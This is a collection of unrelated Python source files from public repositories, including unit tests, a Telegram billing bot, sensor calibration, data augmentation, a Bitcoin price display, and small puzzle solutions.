android_browser_finder.FindAllBrowserTypes(self.finder_options))\n expected_types = all_types - set(('exact',))\n possible_browsers = android_browser_finder._FindAllPossibleBrowsers(\n self.finder_options, fake_platform)\n self.assertEqual(\n expected_types,\n set([b.browser_type for b in possible_browsers]))\n\n def testCanLaunchAlwaysTrueWithExactApkReturnsAll(self):\n self._android_browser_finder_stub.os.path.files.append(\n '/foo/content-shell.apk')\n self.finder_options.browser_executable = '/foo/content-shell.apk'\n self._get_package_name_mock.return_value = 'org.chromium.content_shell_apk'\n\n fake_platform = FakeAndroidPlatform(can_launch=True)\n expected_types = set(\n android_browser_finder.FindAllBrowserTypes(self.finder_options))\n possible_browsers = android_browser_finder._FindAllPossibleBrowsers(\n self.finder_options, fake_platform)\n self.assertEqual(\n expected_types,\n set([b.browser_type for b in possible_browsers]))\n\n def testErrorWithUnknownExactApk(self):\n self._android_browser_finder_stub.os.path.files.append(\n '/foo/content-shell.apk')\n self.finder_options.browser_executable = '/foo/content-shell.apk'\n self._get_package_name_mock.return_value = 'org.unknown.app'\n\n fake_platform = FakeAndroidPlatform(can_launch=True)\n self.assertRaises(Exception,\n android_browser_finder._FindAllPossibleBrowsers,\n self.finder_options, fake_platform)\n\n def testErrorWithNonExistantExactApk(self):\n self.finder_options.browser_executable = '/foo/content-shell.apk'\n\n fake_platform = FakeAndroidPlatform(can_launch=True)\n self.assertRaises(Exception,\n android_browser_finder._FindAllPossibleBrowsers,\n self.finder_options, fake_platform)\n\n\nclass FakePossibleBrowser(object):\n def __init__(self, last_modification_time):\n self._last_modification_time = last_modification_time\n\n def last_modification_time(self):\n return self._last_modification_time\n\n\nclass SelectDefaultBrowserTest(unittest.TestCase):\n def testEmptyListGivesNone(self):\n self.assertIsNone(android_browser_finder.SelectDefaultBrowser([]))\n\n def testSinglePossibleReturnsSame(self):\n possible_browsers = [FakePossibleBrowser(last_modification_time=1)]\n self.assertIs(\n possible_browsers[0],\n android_browser_finder.SelectDefaultBrowser(possible_browsers))\n\n def testListGivesNewest(self):\n possible_browsers = [\n FakePossibleBrowser(last_modification_time=2),\n FakePossibleBrowser(last_modification_time=3), # newest\n FakePossibleBrowser(last_modification_time=1),\n ]\n self.assertIs(\n possible_browsers[1],\n android_browser_finder.SelectDefaultBrowser(possible_browsers))\n","repo_name":"googlearchive/big-rig","sub_path":"app/src/thirdparty/telemetry/internal/backends/chrome/android_browser_finder_unittest.py","file_name":"android_browser_finder_unittest.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","stars":857,"dataset":"github-code","pt":"61"} +{"seq_id":"10713669096","text":"import logging\n\nfrom aiogram import Dispatcher\nfrom aiogram import types\nfrom aiogram.dispatcher.filters import Text\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.types import CallbackQuery\nfrom ..keyboards.callback_factory import table_callback, person_callback, commit_callback\nfrom ..keyboards.inline.keyboard_menu import create_tables_list, create_person_keyboard, create_commit_keyboard\nfrom ..misc.states import NewBillState\nfrom ..misc.db import rc, set_new_bill\nfrom ..misc.other import real_time\n\nasync def start(message: types.Message):\n\tawait NewBillState.select_table.set()\n\tawait message.answer(\"Wybierz stolik\", reply_markup = create_tables_list(11))\n\nasync def process_select_table(call: CallbackQuery, callback_data: dict, state: FSMContext):\n\tawait NewBillState.select_person_quantity.set()\n\n\tasync with state.proxy() as data:\n\t\t\tdata[\"table\"] = callback_data[\"name\"]\n\t\t\tlogging.log(30, callback_data)\n\n\tawait call.message.edit_text(\"Ile osob?\", reply_markup = create_person_keyboard())\n\nasync def process_select_person(call: CallbackQuery, callback_data: dict, state: FSMContext):\n\tawait NewBillState.commit.set()\n\n\n\tasync with state.proxy() as data:\n\t\t\tdata[\"person\"] = callback_data[\"quantity\"]\n\t\t\tdata[\"amount\"] = 0\n\t\t\t_text = f\"\"\"\n\t\t\t\t\tZgadza się?\n\t\t\t\tStolik {data[\"table\"]}\n\t\t\t\tDla {data[\"person\"]} osób\n\t\t\t\t\"\"\"\n\tawait call.message.edit_text(_text, reply_markup = create_commit_keyboard())\n\nasync def process_commit(call: CallbackQuery, callback_data: dict, state: FSMContext):\n\tif callback_data['action'] == \"COMMIT\":\n\t\tasync with state.proxy() as data:\n\t\t\torder = {\n\t\t \"table_name\":data[\"table\"],\n\t\t \"persons\":int(data[\"person\"]),\n\t\t \"orders\":[],\n\t\t \"time\": real_time()\n\t\t }\n\t\t\tset_new_bill(order)\n\t\tawait call.message.edit_text(\"Rachunek został zrobiony\", reply_markup = None)\n\telse:\n\t\tawait call.message.edit_reply_markup(reply_markup = None)\n\t\tawait call.message.delete()\n\tawait state.finish()\n\n# async def start2(message: types.Message):\n# \tawait NewBillState.bill_name.set()\n\n# \tawait message.answer(\"Wybierz stolik\")\n\ndef register_new_bill(dp: Dispatcher):\n\tdp.register_message_handler(start, Text(\"Nowy rachunek\"))\n\t# dp.register_message_handler(start2, Text(\"Huj\"))\n\tdp.register_callback_query_handler(process_select_table, table_callback.filter(action = \"TABLE\"), state = NewBillState.select_table)\n\tdp.register_callback_query_handler(process_select_person, person_callback.filter(action = \"PERSON\"), state = NewBillState.select_person_quantity)\n\tdp.register_callback_query_handler(process_commit, commit_callback.filter(action = [\"COMMIT\",\"CANCEL\"]), state = NewBillState.commit)","repo_name":"ReiVanSTR/PosHookah","sub_path":"tgbot/handlers/new_bill.py","file_name":"new_bill.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23643869631","text":"arq = open('numbersresult.txt' , 'w')\nt , i , c = int(raw_input()) , 1 , 0\n\nwhile t != 0 :\n\tline = str(raw_input()).split()\n\ta , b = int(line[0]) , int(line[1])\n\tr = range(int(a) , int(b) + 1)\t\n\tl = []\n\n\tfor n in r :\n\t\tN , k = str(n) , 1\n\n\t\twhile k != len(N) :\n\t\t\tM = N[k:] + N[0:k]\n\t\t\t\n\t\t\tif int(N) < int(M) and (int(M) < b or int(M) == b) :\n\t\t\t\t\ttemp = [int(N) , int(M)]\n\t\t\t\t\t\n\t\t\t\t\tif temp not in l :\n\t\t\t\t\t\tl.append(temp)\n\n\t\t\tk = k + 1\n\n\tarq.write('Case #%d: ' %(t - (t - i)) + '%d' %len(l) +'\\n')\n\n\tt , i = t - 1 , i + 1\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_97/1550.py","file_name":"1550.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24201501258","text":"import os\nimport random\nimport sys\nfrom datetime import datetime\nfrom tkinter import messagebox\nfrom tkinter.filedialog import askdirectory\nfrom scripts.eeg import EEG\nfrom psychopy import event\ntry:\n from brainflow import BoardIds\nexcept ImportError:\n from brainflow.board_shim import BoardIds\n\n\nclass Experiment:\n def __init__(self, eeg, num_trials, classes, num_stims=100):\n self.num_trials: int = num_trials\n self.num_stims: int = num_stims\n self.eeg: EEG = eeg\n\n if self.eeg.board_id == BoardIds.SYNTHETIC_BOARD:\n messagebox.showwarning(title=\"bci4als WARNING\", message=\"You are running a synthetic board!\")\n self.debug = True\n else:\n self.debug = False\n # override in subclass\n self.cue_length = None\n self.stim_length = None\n self.session_directory = None\n self.enum_image = {0: 'target_1', 1: 'target_2', 2: 'idle'}\n self.experiment_type = None\n # self.skip_after = None\n\n # labels\n self.labels = []\n self.targets = []\n self._init_labels(keys=classes)\n self._init_targets()\n\n if num_stims < 10:\n raise IOError(\"num_stims must be greater then 10\")\n\n def run(self):\n pass\n\n def write_metadata(self):\n # The path of the metadata file\n path = os.path.join(self.session_directory, 'metadata.txt')\n\n with open(path, 'w') as file:\n # Datetime\n file.write(f'Experiment datetime: {datetime.now()}\\n\\n')\n\n # Channels\n file.write('EEG Channels:\\n')\n file.write('*************\\n')\n for index, ch in enumerate(self.eeg.get_board_names()):\n file.write(f'Channel {index + 1}: {ch}\\n')\n\n # Experiment data\n file.write('\\nExperiment Data\\n')\n file.write('***************\\n')\n file.write(f'Experiment Type: {self.experiment_type}\\n')\n file.write(f'Num of trials: {self.num_trials}\\n')\n file.write(f'Num of stimulus per trail: {self.num_stims}\\n')\n file.write(f'Single trial length: {self.stim_length*self.num_stims}\\n')\n file.write(f'Cue length: {self.cue_length}\\n')\n file.write(f'Stim length: {self.stim_length}\\n')\n file.write(f'Labels Enum: {self.enum_image}\\n')\n # file.write(f'Skip After: {self.skip_after}\\n')\n\n def _ask_subject_directory(self):\n \"\"\"\n init the current subject directory\n :return: the subject directory\n \"\"\"\n\n # get the CurrentStudy recording directory\n if not messagebox.askokcancel(title='bci4als',\n message=\"Welcome to the motor imagery EEG recorder.\"\n \"\\n\\nNumber of trials: {}\\n\\n\"\n \"Please select the subject directory:\".format(self.num_trials)):\n sys.exit(-1)\n\n # show an \"Open\" dialog box and return the path to the selected file\n init_dir = os.path.join(os.path.split(os.path.abspath(''))[0], 'recordings')\n subject_folder = askdirectory(initialdir=init_dir)\n if not subject_folder:\n sys.exit(-1)\n return subject_folder\n\n @staticmethod\n def get_keypress():\n \"\"\"\n Get keypress of the user\n :return: string of the key\n \"\"\"\n keys = event.getKeys()\n if keys:\n return keys[0]\n else:\n return None\n\n @staticmethod\n def create_session_folder(subject_folder: str) -> str:\n \"\"\"\n The method create new folder for the current session. The folder will be at the given subject\n folder.\n The method also creating a metadata file and locate it inside the session folder\n :param subject_folder: path to the subject folder\n :return: session folder path\n \"\"\"\n\n current_sessions = []\n for f in os.listdir(subject_folder):\n\n # try to convert the current sessions folder to int\n # and except if one of the sessions folder is not integer\n try:\n current_sessions.append(int(f))\n\n except ValueError:\n continue\n\n # Create the new session folder\n session = (max(current_sessions) + 1) if len(current_sessions) > 0 else 1\n session_folder = os.path.join(subject_folder, str(session))\n os.mkdir(session_folder)\n\n return session_folder\n\n def _init_labels(self, keys):\n \"\"\"\n This method creates list containing a stimulus vector\n :return: the stimulus in each trial (list)\n \"\"\"\n\n # Create the balance label vector\n # 10% for target_1, 10% for target_2 and 80% for idle\n idle = keys[2]\n target_1 = keys[0]\n target_2 = keys[1]\n for j in range(self.num_trials):\n # idle mode\n temp = [idle] * self.num_stims\n # target modes\n percent = int(self.num_stims * 0.1)\n temp[0:percent] = [target_1] * percent\n temp[percent:2*percent] = [target_2] * percent\n\n random.shuffle(temp)\n\n self.labels += [temp]\n\n def _init_targets(self):\n \"\"\"\n this method creates a list of targets - 0 or 1\n :return: list of targets\n \"\"\"\n # randomly choose the target for the trail\n\n targets = [random.randint(0, 1) for _ in range(self.num_trials)]\n self.targets = targets\n","repo_name":"ellaHerzberg/BCI4ALS_P300","sub_path":"scripts/experiments/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":5540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22887565373","text":"#!/usr/bin/env python3\n\nimport time\nimport smbus\nimport struct\nimport rospy\nimport os\nimport numpy as np\n\nDEFAULT_ADDRESS = 0x68 # MPU6050 default i2c address w/ AD0 low\nDEVICE_ID = 0x68 # The correct MPU6050_WHO_AM_I value\n\nSELF_TEST_X = 0x0D # Self test factory calibrated values register\nSELF_TEST_Y = 0x0E # Self test factory calibrated values register\nSELF_TEST_Z = 0x0F # Self test factory calibrated values register\nSELF_TEST_A = 0x10 # Self test factory calibrated values register\nSMPLRT_DIV = 0x19 # sample rate divisor register\nCONFIG = 0x1A # General configuration register\nGYRO_CONFIG = 0x1B # Gyro specfic configuration register\nACCEL_CONFIG = 0x1C # Accelerometer specific configration register\nINT_PIN_CONFIG = 0x37 # Interrupt pin configuration register\n#ACCEL_OUT = 0x3B # base address for sensor data reads\nTEMP_OUT_H = 0x41 # Temperature data high byte register\n#GYRO_OUT = 0x43 # base address for sensor data reads\nSIG_PATH_RESET = 0x68 # register to reset sensor signal paths\nUSER_CTRL = 0x6A # FIFO and I2C Master control register\nPWR_MGMT_1 = 0x6B # Primary power/sleep control register\nPWR_MGMT_2 = 0x6C # Secondary power/sleep control register\nWHO_AM_I = 0x75 # Divice ID register\nACCEL_XOUT_H = 0x3B # Accelerometer X axis register\nACCEL_YOUT_H = 0x3D # Accelerometer Y axis register\nACCEL_ZOUT_H = 0x3F # Accelerometer Z axis register\nGYRO_XOUT_H = 0x43 # Gyro X axis register\nGYRO_YOUT_H = 0x45 # Gyro Y axis register\nGYRO_ZOUT_H = 0x47 # Gyro Z axis register\n\nADDR = DEFAULT_ADDRESS\n\n\nbus = smbus.SMBus(1)\nbus.write_byte_data(ADDR, PWR_MGMT_1, 0)\n\n# read_word and read_word_2c from http://blog.bitify.co.uk/2013/11/reading-data-from-mpu-6050-on-raspberry.html\ndef read_word(adr):\n high = bus.read_byte_data(ADDR, adr)\n low = bus.read_byte_data(ADDR, adr+1)\n val = (high << 8) + low\n return val\n\ndef read_word_2c(adr):\n val = read_word(adr)\n if (val >= 0x8000):\n return -((65535 - val) + 1)\n else:\n return val\n \ndef get_data():\n# Read the acceleration vals\n accel_x = read_word_2c(ACCEL_XOUT_H) / 16384.0\n accel_y = read_word_2c(ACCEL_YOUT_H) / 16384.0\n accel_z = read_word_2c(ACCEL_ZOUT_H) / 16384.0\n\n# Read the gyro vals\n gyro_x = read_word_2c(GYRO_XOUT_H) / 131.0\n gyro_y = read_word_2c(GYRO_YOUT_H) / 131.0\n gyro_z = read_word_2c(GYRO_ZOUT_H) / 131.0\n\n return accel_x,accel_y,accel_y,gyro_x,gyro_y,gyro_z\n\ndef gyro_calibration(calibration_time=10):\n \"\"\"\n Description: This is a function to get the offset values\n for gyro calibration for mpu6050.\n \n Parameters:\n \n calibration_time[int]: Time in seconds you want to calibrate\n mpu6050. The longer the time the more accurate the\n calibration\n \n Outputs: Array with offsets pertaining to three axes of\n rotation [offset_gx, offset_gy, offset_gz]. Add these\n offsets to your sensor readins later on for more\n accurate readings!\n \"\"\"\n print('--' * 25)\n print('Beginning Gyro Calibration - Do not move the MPU6050')\n \n # placeholder for the average of tuples in mpu_gyro_array\n a_offsets = [0, 0, 0]\n g_offsets = [0, 0, 0]\n # placeholder for number of calculations we get from the mpu\n num_of_points = 0\n \n # We get the current time and add the calibration time\n end_loop_time = time.time() + calibration_time\n # We end the loop once the calibration time has passed\n while end_loop_time > time.time():\n num_of_points += 1\n (ax, ay, az, gx, gy, gz) = get_data()\n a_offsets[0] += ax\n a_offsets[1] += ay\n a_offsets[2] += az\n g_offsets[0] += gx\n g_offsets[1] += gy\n g_offsets[2] += gz\n \n # This is just to show you its still calibrating :)\n if num_of_points % 100 == 0:\n print('Still Calibrating Gyro... %d points so far' % num_of_points)\n \n print('Calibration for Gyro is Complete! %d points total' % num_of_points)\n a_offsets = [i/num_of_points for i in a_offsets] # we divide by the length to get the mean\n g_offsets = [i/num_of_points for i in g_offsets]\n return a_offsets, g_offsets\n\nif __name__ == '__main__':\n rospy.init_node('imu_node')\n print(gyro_calibration(10))\n\n#[0.011572124639076035, -0.037229917964990374, -0.037229917964990374], [-0.016920262436723527, -0.3424975571049673, -0.6717924604544868]","repo_name":"laidovaldvee/ros-lf","sub_path":"packages/mpu_6050_driver/src/imu_calibration.py","file_name":"imu_calibration.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23597246551","text":"def read_file(filename):\r\n fp = open(filename)\r\n lines = fp.readlines()\r\n return lines\r\n\r\ndef is_cute(filename):\r\n lines = read_file(filename)\r\n n = int(lines[0])\r\n index = 1\r\n s = \"\"\r\n for i in range(n):\r\n l = int(lines[index])\r\n tree = lines[index+1:index+1+l]\r\n treestr = \"\"\r\n for x in tree:\r\n treestr = treestr + x.strip() + \" \"\r\n #print treestr.split('(')\r\n a = int(lines[index+1+l])\r\n animals = lines[index+2+l:index+2+a+l]\r\n index = index + a + l + 2\r\n probs = \"\"\r\n for creature in animals:\r\n features = creature.split()[2:]\r\n p = treeprob(1,treestr, features)\r\n probs = probs + str(p) + \"\\n\" \r\n s = s + \"Case #\" + str(i+1) + \":\\n\" + probs\r\n return s\r\n\r\ndef treeprob(p, tree, features):\r\n tree = tree.strip()\r\n if tree.find(\")\") == len(tree) - 1:\r\n root = float(tree.lstrip(\"( \").rstrip(\" )\"))\r\n return root*p\r\n rootend = tree.find(\" \")\r\n root = float(tree[:rootend].lstrip(\"( \"))\r\n p = p*root\r\n nonroot = tree[rootend+1:]\r\n q = nonroot[:nonroot.find(\" \")]\r\n nonq = nonroot[nonroot.find(\" \")+1:len(nonroot)-1]\r\n subtrees = splittree(nonq)\r\n if q in features:\r\n return treeprob(p,subtrees[0],features)\r\n else:\r\n return treeprob(p,subtrees[1],features)\r\n\r\ndef splittree(tree):\r\n pcount = 0\r\n for x in range(len(tree)):\r\n if tree[x] == '(':\r\n pcount = pcount + 1\r\n if tree[x] == ')':\r\n pcount = pcount - 1\r\n if pcount == 0:\r\n return [tree[:x+1],tree[x+1:]]\r\n\r\n \r\n\r\n\r\ndef run(filename):\r\n a = open(\"output.txt\",\"w\")\r\n a.write(is_cute(filename))\r\n\r\nrun(\"A-large.txt\")\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_40/88.py","file_name":"88.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42146539677","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom PIL import ImageTk, Image\r\n\r\nfrom pip._vendor import requests\r\nimport json\r\n\r\n\r\n# cores ---------------\r\ncor0 = \"#444466\" # Preta \r\ncor1 = \"#feffff\" # branca \r\ncor2 = \"#6f9fbd\" # azul \r\nfundo = \"#484f60\" #background\r\n\r\njanela=Tk()\r\njanela.geometry(\"320x350\")\r\njanela.title('')\r\njanela.configure(bg=fundo)\r\n\r\nttk.Separator(janela, orient=HORIZONTAL).grid(row=0, columnspan=1, ipadx=157)\r\n\r\n\r\nframe_cima = Frame(janela, width=320, height=50, padx=0, pady=0, bg=cor1, relief='flat')\r\nframe_cima.grid(row=1, column=0)\r\n\r\nframe_baixo = Frame(janela, width=320, height=300, padx=0, pady=0, bg=fundo, relief='flat')\r\nframe_baixo.grid(row=2, column=0, sticky=NW)\r\n\r\n#API\r\n\r\ndef info():\r\n api_link = 'https://min-api.cryptocompare.com/data/price?fsym=BTC&tsyms=USD,EUR,AOA,BRL'\r\n\r\n response = requests.get(api_link) \r\n\r\n #convertendo dados\r\n dados = response.json()\r\n print(dados)\r\n\r\n\r\n # valor em USD\r\n valor_usd = float(dados['USD'])\r\n valor_formato_usd = \"${:,.3f}\".format(valor_usd)\r\n l_p_usd['text'] = valor_formato_usd\r\n \r\n # valor em EURO\r\n valor_euro = float(dados['EUR'])\r\n valor_formato_usd = \"{:,.3f}\".format(valor_euro)\r\n l_p_euro['text'] = 'Em Euro é : € ' +valor_formato_usd\r\n \r\n # valor em BRL\r\n valor_reais = float(dados['BRL'])\r\n valor_formato_reais = \"{:,.3f}\".format(valor_reais)\r\n l_p_reais['text'] = 'Em Reais é : R$ ' +valor_formato_reais \r\n\r\n # valor em AOA\r\n valor_Kz = float(dados['AOA'])\r\n valor_formato_Kz = \"{:,.3f}\".format(valor_Kz)\r\n l_p_Kz['text'] = 'Em Kwanzas é : AOA ' + valor_formato_Kz\r\n\r\n frame_baixo.after(1000, info)\r\n\r\n\r\nimagem = Image.open('imagem/bitcoin.png')\r\nimagem = imagem.resize((30,30), Image.ANTIALIAS)\r\nimagem = ImageTk.PhotoImage(imagem)\r\n\r\nl_icon = Label(frame_cima, image=imagem, compound=LEFT, bg=cor1, relief=FLAT)\r\nl_icon.place(x=10, y=10)\r\n\r\nl_nome = Label(frame_cima, text='Bitcoin Price Tracker', bg=cor1, relief=FLAT, anchor=CENTER, font=('Arial 19 bold'))\r\nl_nome.place(x=50, y=5)\r\n\r\n\r\nl_p_usd = Label(frame_baixo, text= '', bg=fundo, fg=cor2, relief=FLAT, anchor=CENTER, font=('Arial 30 bold'))\r\nl_p_usd.place(x=50, y=50)\r\n\r\nl_p_euro = Label(frame_baixo, text='', bg=fundo, fg=cor2, relief=FLAT, anchor=CENTER, font=('Arial 13 bold'))\r\nl_p_euro.place(x=10, y=130)\r\n\r\nl_p_reais = Label(frame_baixo, text='', bg=fundo, fg=cor2, relief=FLAT, anchor=CENTER, font=('Arial 13 bold'))\r\nl_p_reais.place(x=10, y=160)\r\n\r\nl_p_Kz = Label(frame_baixo, text='', bg=fundo, fg=cor2, relief=FLAT, anchor=CENTER, font=('Arial 13 bold'))\r\nl_p_Kz.place(x=10, y=190)\r\n\r\ninfo()\r\n\r\njanela.mainloop()","repo_name":"Thaisa-Cristina-Dev/API_BITCOIN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11664610869","text":"## 用来对数据进行增强,扩展规则如下:\n## 1、对于少于六张的图片,运用cutout的形式将其扩充为6张\n## 2、对于多于六张的图片,随机筛选出六张\n\nimport os\nimport math\nimport random\nimport torch\nimport numpy as np\nfrom tqdm import tqdm\nimport shutil\n# from PIL import Image\nimport cv2\n\nclass Cutout(object):\n \"\"\"Randomly mask out one or more patches from an image.\n Args:\n n_holes (int): Number of patches to cut out of each image.\n length (int): The length (in pixels) of each square patch.\n \"\"\"\n def __init__(self, n_holes, length):\n self.n_holes = n_holes\n self.length = length\n\n def __call__(self, img):\n \"\"\"\n Args:\n img (Tensor): Tensor image of size (C, H, W).\n Returns:\n Tensor: Image with n_holes of dimension length x length cut out of it.\n \"\"\"\n h = img.size(1)\n w = img.size(2)\n\n mask = np.ones((h, w), np.float32)\n\n for n in range(self.n_holes):\n y = np.random.randint(h)\n x = np.random.randint(w)\n\n y1 = np.clip(y - self.length // 2, 0, h)\n y2 = np.clip(y + self.length // 2, 0, h)\n x1 = np.clip(x - self.length // 2, 0, w)\n x2 = np.clip(x + self.length // 2, 0, w)\n\n mask[y1: y2, x1: x2] = 0.\n\n mask = torch.from_numpy(mask)\n mask = mask.expand_as(img)\n #print(type(mask))\n img = img * mask\n\n return img\nclass RandomErasing(object):\n \"\"\" Randomly selects a rectangle region in an image and erases its pixels.\n 'Random Erasing Data Augmentation' by Zhong et al.\n See https://arxiv.org/pdf/1708.04896.pdf\n Args:\n probability: The probability that the Random Erasing operation will be performed.\n sl: Minimum proportion of erased area against input image.\n sh: Maximum proportion of erased area against input image.\n r1: Minimum aspect ratio of erased area.\n mean: Erasing value.\n \"\"\"\n\n def __init__(self, probability=0.5, sl=0.02, sh=0.4, r1=0.3, mean=(0.4914, 0.4822, 0.4465)):\n self.probability = probability\n self.mean = mean\n self.sl = sl\n self.sh = sh\n self.r1 = r1\n\n def __call__(self, img):\n\n if random.uniform(0, 1) >= self.probability:\n return img\n\n for attempt in range(100):\n area = img.size()[1] * img.size()[2]\n\n target_area = random.uniform(self.sl, self.sh) * area\n aspect_ratio = random.uniform(self.r1, 1 / self.r1)\n\n h = int(round(math.sqrt(target_area * aspect_ratio)))\n w = int(round(math.sqrt(target_area / aspect_ratio)))\n\n if w < img.size()[2] and h < img.size()[1]:\n x1 = random.randint(0, img.size()[1] - h)\n y1 = random.randint(0, img.size()[2] - w)\n if img.size()[0] == 3:\n img[0, x1:x1 + h, y1:y1 + w] = self.mean[0]\n img[1, x1:x1 + h, y1:y1 + w] = self.mean[1]\n img[2, x1:x1 + h, y1:y1 + w] = self.mean[2]\n else:\n img[0, x1:x1 + h, y1:y1 + w] = self.mean[0]\n return img\n\n return img\n\ndef int_random(a,n):\n ## 一个数组存储生成的随机数\n a_list = []\n while len(a_list)<n:\n d_int = random.randint(0,a-1)\n if d_int not in a_list:\n a_list.append(d_int)\n else:\n pass\n return a_list\n\ndef expand_data(raw_folder,tar_data):\n raw_data = os.path.join(raw_folder,\"list.txt\")\n id_dict = {}\n add_name = ['a','b','c','d','e','f']\n with open(raw_data,'r') as f:\n file = f.readlines()\n for line in file:\n id = line.split()[-1]\n name = line.split()[0]\n if id not in id_dict:\n id_dict[id] = [name,]\n else:\n id_dict[id].append(name)\n new_file_txt = open(os.path.join(tar_data,\"list.txt\"),'a')\n print(\"正在生成图片...\")\n for i in tqdm(id_dict):\n file = id_dict[i]\n number = len(file)\n count = number\n if count<=6:\n ## 把原始的图片移入目标文件夹\n for temp in file:\n pic_name = temp.split('/')[-1]\n shutil.copyfile(os.path.join(raw_folder,pic_name),os.path.join(tar_data,pic_name))\n while(count<=5):\n j = random.randint(0,number-1)\n #print(j)\n #print(file[j])\n name = file[j].split('/')[-1]\n img = cv2.imread(os.path.join(raw_folder,name))\n img = torch.from_numpy(img).float()\n # print(type(img))\n ## 随机消除\n #erasing=RandomErasing(1.0)\n ## cutout\n erasing = Cutout(1,32)\n img = erasing(img)\n img = img.numpy()\n # print(type(img))\n ## 生成新的名字\n # m = random.randint(0,5)\n new_name = name.split('.')[0]+add_name[count]+\".png\"\n ## 写入新的图片到目标地\n tar_path = os.path.join(tar_data,new_name)\n # img.save(tar_path)\n cv2.imwrite(tar_path,img)\n ## 把新的图片名字写入字典\n s_name = os.path.join(\"train\",new_name)\n id_dict[i].append(s_name)\n count +=1\n else:\n # 这是多余6张的只采样六张,感觉没有充分利用数据\n # chose_id = int_random(count,6)\n # new_file = []\n # for id in chose_id:\n # file_name = file[id]\n # new_file.append(file_name)\n # id_dict[i] = new_file\n\n ## 将图片拷贝入目标文件夹\n for pic in id_dict[i]:\n pic_name = pic.split('/')[-1]\n shutil.copyfile(os.path.join(raw_folder,pic_name),os.path.join(tar_data,pic_name))\n ## 写新的list.txt文件\n print(\"正在写入新的txt文件...\")\n\n for i in tqdm(id_dict):\n id = i\n for pic in id_dict[id]:\n new_file_txt.write(pic+\" \"+id+'\\n')\n # print(id_dict[i])\nif __name__ == '__main__':\n raw_data = \"/home/liuk/data/kesci/train_data/train_part\"\n tar_data = \"/home/liuk/data/kesci/train_data/train_cut\"\n expand_data(raw_data,tar_data)\n","repo_name":"lkpromise/kesci-reid","sub_path":"data_process/expand_data.py","file_name":"expand_data.py","file_ext":"py","file_size_in_byte":6459,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35081354208","text":"# https://leetcode.com/problems/analyze-user-website-visit-pattern/\nimport heapq\nclass Solution:\n def mostVisitedPattern(self, username: List[str], timestamp: List[int], website: List[str]) -> List[str]:\n\n users = defaultdict(list)\n heap = []\n\n # sort visits by time and create a dictionary of sites visited by user\n for i in range(len(username)):\n heapq.heappush(heap,(timestamp[i], website[i], username[i]))\n\n while heap:\n time, site, user = heapq.heappop(heap)\n users[user].append(site)\n\n\n # generate the 3 sequence permutations and track repeat sequences in dictionary\n count = defaultdict(int)\n maximum = 0\n res = tuple()\n\n for key,value in users.items():\n combos = combinations(value, 3)\n\n # remove duplicates from the permutations and iterate\n for combo in set(combos):\n count[combo] += 1\n\n if count[combo] > maximum:\n maximum = count[combo]\n res = combo\n elif count[combo] == maximum:\n if combo < res:\n res = combo\n\n return list(res)\n","repo_name":"akfunes/studyProblems","sub_path":"analyze_user_website_visit_pattern.py","file_name":"analyze_user_website_visit_pattern.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2639163346","text":"import torch\nimport os\nfrom tqdm import tqdm\n\ntqdm.pandas()\nimport time\n\n\nclass create_sbert_embedding:\n def __init__(self, df, model):\n # total_data.csv\n self.df = df\n # pre-trained SBERT\n self.model = model\n\n def create_emb(self):\n start = time.time()\n print(\"description values embedding start..\")\n target = self.df[\"description\"]\n # target_encode = target.progress_map(lambda x: self.model.encode(x))\n target_encode = self.model.encode(target)\n des_emb = torch.tensor(target_encode)\n torch.save(\n des_emb,\n \"C:/Users/Home/Documents/GitHub/AI-dev-course-prj/data/des_embedding.pt\",\n )\n end = time.time()\n print(f\"create done.. Time elapsed : {end-start:.5f} sec\")\n","repo_name":"Paul-scpark/Data-planet","sub_path":"ETRI/util/create_SBERT_embedding.py","file_name":"create_SBERT_embedding.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"72730129473","text":"import random\nfrom collections import deque \n\nTESTLENGTH = 10\nDECKLENGTH = 5\nLOWERSHIFT = -5\nHIGHERSHIFT = 4\n\noutput = []\n\nfor i in range (TESTLENGTH):\n deck = deque()\n for j in range (DECKLENGTH):\n deck.append (random.randint(0,10))\n\n for k in range (LOWERSHIFT, HIGHERSHIFT):\n decc = deck.copy()\n decc.rotate (k)\n output.append ((deck, k, decc))\n\n# print to file\nf = open (\"shifttests.txt\", \"w\")\n\n\nf.write (\"int[][] preshift = new int[][] {\\n\")\nfor (pre, _, _) in output:\n f.write (\"new int[] { \")\n for i in pre:\n f.write (str(i) + \",\")\n f.write (\"},\\n\")\nf.write (\"};\\n\")\n \nf.write (\"int[] shift = new int[] {\\n\")\nfor (_, n, _) in output:\n f.write (str(n) + \", \")\nf.write (\"};\\n\")\n \nf.write (\"int[][] postshift = new int[][] {\\n\")\nfor (_, _, post) in output:\n f.write (\"new int[] {\")\n for i in post:\n f.write (str(i) + \",\")\n f.write (\"},\\n\")\nf.write 